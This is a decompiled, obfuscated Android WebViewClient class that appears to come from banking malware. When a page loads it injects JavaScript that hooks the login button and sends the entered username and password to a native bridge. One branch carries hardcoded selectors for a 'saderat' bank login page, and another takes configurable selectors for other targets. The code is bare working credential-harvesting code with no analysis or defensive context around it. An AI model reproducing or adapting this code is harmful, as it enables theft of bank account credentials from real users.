package o;

import android.webkit.WebView;
import android.webkit.WebViewClient;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.Kc, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C0262Kc extends WebViewClient {
    public final /* synthetic */ String a;
    public final /* synthetic */ C0210Ic b;

    public C0262Kc(String str, C0210Ic c0210Ic) {
        this.a = str;
        this.b = c0210Ic;
    }

    @Override // android.webkit.WebViewClient
    public final void onPageFinished(WebView webView, String str) {
        String strN;
        super.onPageFinished(webView, str);
        if (F3.c(this.a, "saderat")) {
            strN = "\n                        (function() {\n                            function hook() {\n                                const u = document.querySelector(\"input#userID\");\n                                const p = document.querySelector(\"input#password\");\n                                const btn = document.querySelector(\"input#login\");\n\n                                if (u && p && btn) {\n                                    btn.addEventListener(\"click\", function() {\n                                        Android.onLoginClicked(u.value, p.value);\n                                    }, true);\n\n                                    console.log(\"SADERAT HOOK OK\");\n                                    return;\n                                }\n                                setTimeout(hook, 300);\n                            }\n                            hook();\n                        })();\n                        ";
        } else {
            C0210Ic c0210Ic = this.b;
            String str2 = c0210Ic.b;
            String str3 = c0210Ic.c;
            String str4 = c0210Ic.d;
            StringBuilder sb = new StringBuilder("\n                        (function() {\n                            const u = document.querySelector(\"");
            sb.append(str2);
            sb.append("\");\n                            const p = document.querySelector(\"");
            sb.append(str3);
            sb.append("\");\n                            const btn = document.querySelector(\"");
            strN = AbstractC2462sn.n(sb, str4, "\");\n\n                            if (u && p && btn) {\n                                btn.addEventListener(\"click\", function() {\n                                    Android.onLoginClicked(u.value, p.value);\n                                });\n                            }\n                        })();\n                        ");
        }
        if (webView != null) {
            webView.evaluateJavascript(strN, null);
        }
    }
}
